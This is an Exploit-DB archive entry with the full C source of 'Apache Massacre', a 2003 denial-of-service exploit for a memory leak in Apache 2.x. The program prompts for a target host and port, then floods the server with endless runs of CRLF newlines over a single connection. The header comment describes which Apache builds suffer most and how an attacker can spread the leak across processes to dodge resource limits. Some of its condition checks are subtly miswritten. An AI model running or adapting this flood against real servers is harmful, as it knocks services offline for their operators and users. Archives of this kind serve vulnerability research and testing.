Exploit-DB #9
Description: Apache 2.x - Memory Leak
Type: dos
Platform: windows
Date: 2003-04-09
Author: Matthew Murphy

Exploit:
/* apache-massacre.c
* Test code for Apache 2.x Memory Leak
* By Matthew Murphy
*
* DISCLAIMER: This exploit tool is provided only to test networks for a
* known vulnerability. Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner. You are responsible for any damage your
* use of the tool causes. In no event may the author of this tool be held
* responsible for damages relating to its use.
*
* As with most Apache exposures, the impacts vary between ports of the server:
*
* Non-Unix (Win32, Netware, OS/2): These ports are most adversely affected
* by this, as Apache's child process doesn't terminate normally unless the
* parent process stops. This means that leaks (and any performance loss) hang
* around until Apache is restarted.
*
* Unix/mpm_prefork: This MPM offers the most protection against successful
* exploitation, as its processes exit at the end of the request.
*
* Unix/other MPMs: These other MPMs utilize multiple Apache processes for 
* multiple Apache requests. Depending on the MPM in use and the traffic rates
* of the server, this may be used to the advantage of a potential attacker.
* If multiple different Apache processes are utilized, an attacker can spread
* the substantial leak between processes to dodge resource limits imposed on
* httpd's UID (usually nobody, www, or apache)
*
* Credit: iDEFENSE reported this issue to several security lists on April 8,
* 2003 following the Apache release announcement. Apache fixed the flaw about
* a month after the initial disclosure of this vulnerability. iDEFENSE credits
* the discovery of this vulnerability to an anonymous researcher.
*
* Happy Hunting!
*/

#ifndef _WIN32
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#else
#include <windows.h>
#pragma comment(lib, "wsock32.lib")
#endif
#include <stdlib.h>
#include <stdio.h>

int sig_fired = 0;

#ifndef _WIN32
void sig_handler(int sig) {
#else
BOOL WINAPI sig_handler(DWORD dwCtrlType) {
#endif
sig_fired = 1;
#ifndef _WIN32
return;
#else
return TRUE;
#endif
}

int main(int argc, char *argv[]) {
SOCKET s;
struct sockaddr_in sin;
char buffer[1025];
struct hostent *he;
unsigned short iPort = 80;
int newlines = 100;
char *p;
char *p2;
int i;
#ifdef _WIN32
WSADATA wsa_prov;
#endif
printf("Apache Massacre v1.0\r\n");
printf("Exploit by Matthew Murphy\r\n");
printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n");
#ifdef _WIN32
if (WSAStartup(0x0101, &wsa_prov)) {
perror("WSAStartup");
exit(1);
}
#endif
printf("Please enter the web server's host/IP: ");
fgets(&buffer[0], 1024, stdin);
he = gethostbyname(&buffer[0]);
if (!he) {
perror("gethostbyname");
exit(1);
}
sin.sin_addr.s_addr = *((unsigned long *)he->h_addr);
printf("Please enter the web server's port: ");
fgets(&buffer[0], 1024, stdin);
iPort = (unsigned short)atoi(&buffer[0]);
#ifndef _WIN32
#ifdef _SOLARIS
sigset(SIGINT, &sig_handler);
#else
signal(SIGINT, &sig_handler);
#endif
#else
SetConsoleCtrlHandler(&sig_handler, TRUE);
#endif
printf("How many newlines should be in each request [100]: ");
fgets(&buffer[0], 1024, stdin);
if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) {
newlines = atoi(&buffer[0]);
}
p = malloc(newlines*2);
p2 = p;
for (i = 0; i < newlines; i++) {
*p2 = 0x0D;
p2++;
*p2 = 0x0A;
p2++;
}
newlines += newlines;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
perror("socket");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(iPort);
if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) {
perror("connect");
exit(1);
}
while (1) {
if (!send(s, (char *)p, newlines, 0) == newlines) {
perror("send");
exit(1);
}
if (sig_fired) {
printf("Terminating on SIGINT");
free(p);
#ifndef _WIN32
close(s);
#else
closesocket(s);
WSACleanup();
#endif
exit(0);
}
}
}


// milw0rm.com [2003-04-09]